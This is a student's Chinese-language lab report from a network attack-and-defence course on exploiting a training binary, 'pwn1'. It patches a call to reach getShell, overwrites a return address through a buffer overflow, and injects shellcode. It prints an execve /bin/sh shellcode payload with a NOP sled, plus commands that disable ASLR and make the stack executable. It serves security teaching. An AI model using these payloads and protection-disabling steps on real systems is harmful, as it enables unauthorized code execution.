20155330 《網絡攻防》Exp1 PC平臺逆向破解(5)M
20155330 《網絡攻防》Exp1 PC平臺逆向破解(5)M
實踐目標
運行pwn1可執行文件中的getshell函數,學習如何註入運行任何Shellcode
本次實踐的對象是一個名為pwn1的linux可執行文件。
實踐內容
- 手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。
- 利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。
- 註入一個自己制作的shellcode並運行這段shellcode。
基本思路
- 運行原本不可訪問的代碼片段
- 強行修改程序執行流
- 以及註入運行任意代碼。
相關知識
- 熟悉Linux基本操作
- 能看懂常用指令,如管道(|),輸入、輸出重定向(>)等。
- 理解Bof的原理。
- 能看得懂匯編、機器指令、EIP、指令地址。
- 會使用gdb,vi。
- 指令
- NOP:通過nop指令的填充(nop指令一個字節),使指令按字對齊,從而減少取指令時的內存訪問次數。(機器碼:90)
- JNE:條件轉移指令,如果不相等則跳轉。(機器碼:75)
- JE:條件轉移指令,如果相等則跳轉。(機器碼:74)
- JMP:無條件轉移指令。
- 段內直接短轉Jmp short(機器碼:EB)
- 段內直接近轉移Jmp near(機器碼:E9)
- 段內間接轉移Jmp word(機器碼:FF)
- 段間直接(遠)轉移Jmp far(機器碼:EA)
- CMP:比較指令,相當於減法指令,只是不保存結果。執行後,對標誌寄存器產生影響。其他相關指令通過識別這些被影響的標誌寄存器位來得知比較結果。
機器碼
機器碼 指令功能 38 CMP reg8/mem8,reg8 39 CMP reg16/mem16,reg16 3A CMP reg8,reg8/mem8 3B CMP reg16,reg16/mem16 3C CMP al,immed8 3D CMP ax,immed16
一、直接修改程序機器指令,改變程序執行流程
首先對
pwn1
文件進行反匯編查看main函數調用foo的地址值,foo函數的第一條指令的地址值,和需要修改的getShell函數第一條指令的地址值。由下圖可知,main函數調用foo對應機器指令為
e8 d7ffffff
,由於要將調用的函數更改為getShell,則需修改d7 ff ff ff
getShell-80484ba
對應的補碼,通過計算47d-4ba
得到補碼,main函數調用getShell對應機器指令為c3 ff ff ff
。
使用VIM編輯器對
pwn1
文件進行編輯。文件顯示為亂碼,用%!xxd
命令將顯示模式切換為16進制模式
輸入
/e8 d7
查找要修改的內容,修改d7
為c3
,用命令%!xxd -r
將16進制轉換為原格式,wq
存盤退出。
- 再次將文件反匯編,可以看到地址
80484b5
的機器指令d7
變更為c3
,main函數調用getShell
運行文件。(在實踐過程中重新備份了pwn1文件為pwn2,以上步驟為備份前截圖,備份後將pwn1文件修改為原文件。)
二、通過構造輸入參數,造成BOF攻擊,改變程序執行流
目標:觸發
getShell
函數pwn1
可執行文件正常運行是調用如下函數foo,這個函數有Buffer overflow漏洞讀入字符串,但系統只預留了__字節的緩沖區,超出部分會造成溢出,我們的目標是覆蓋返回地址
main函數中call調用foo,同時在堆棧上壓上返回地址值:80484ba
- 確認輸入字符串哪幾個字符會覆蓋到返回地址
gdb pwn3_155330
調試可執行文件,r
運行,info r
查看寄存器eip(即將執行的指令地址)的值再次運行,將後八位值更改後發現eip值改變。1234 四個數最終會覆蓋到堆棧上的返回地址,進而CPU會嘗試運行這個位置的代碼。將這四個字符替換為 getShell 的內存地址,輸給pwn,pwn1就會運行getShell。
- 確認用什麽值來覆蓋返回地址
- 通過反匯編時可以看到getShell的內存地址為
0804847d
。接下來要確認下字節序,簡單說是輸入\x08\x04\x84\x7d
,還是輸入\x7d\x84\x04\x08
。對比之前的eip,該終端采用小端方式,正確應用輸入\x7d\x84\x04\x08
。 - 由為我們沒法通過鍵盤輸入
\x7d\x84\x04\x08
這樣的16進制值,所以先生成包括這樣字符串的一個文件。\x0a
表示回車,如果沒有的話,在程序運行時就需要手工按一下回車鍵。 - 用perl命令生成字符串並重定向
>
到input
文件中。
- 使用16進制查看指令xxd查看input文件的內容
- 將input的輸入,通過管道符“|”,作為pwn1的輸入。
- 通過反匯編時可以看到getShell的內存地址為
三、註入Shellcode並執行
- 準備一段Shellcode
- shellcode就是一段機器指令(code)
- 通常這段機器指令的目的是為獲取一個交互式的shell(像linux的shell或類似windows下的cmd.exe),所以這段機器指令被稱為shellcode。
- 在實際的應用中,凡是用來註入的機器指令段都通稱為shellcode,像添加一個用戶、運行一條指令。
execstack -s pwn1
設置堆棧可執行。apt-get install execstack
獲取安裝。execstack -q pwn1
查詢文件的堆棧是否可執行。並依次執行以下命令。
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space
more /proc/sys/kernel/randomize_va_space
構造要註入的payload。
- Linux下有兩種基本構造攻擊buf的方法:
- retaddr+nop+shellcode
- nop+shellcode+retaddr。
因為retaddr在緩沖區的位置是固定的,shellcode要不在它前面(緩沖區大),要不在它後面(緩沖區小)。
- 結構為:nops+shellcode+retaddr。
- nop一為是了填充,二是作為“著陸區/滑行區”。
- 猜測的返回地址只要落在任何一個nop上,就能滑到shellcode。
輸入
perl -e ‘print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"‘ > input_shellcode
,最後的\x4\x3\x2\x1
將覆蓋到堆棧上的返回地址的位置。把\x4\x3\x2\x1
改為這段shellcode的地址。
- 打開一個終端註入這段攻擊buf
(cat input_shellcode;cat) | ./pwn4_155330
- 再開另外一個終端,用gdb來調試進程。
ps -ef | grep pwn4_155330
查看進程號。grep pwn4_155330
的進程號是2481
- gdb調試這個進程,查看註入buf的內存地址
設置斷點
繼續運行
查看esp寄存器值,
計算出地址值為
d300
,修改地址重定向到input_shellcode文件
20155330 《網絡攻防》Exp1 PC平臺逆向破解(5)M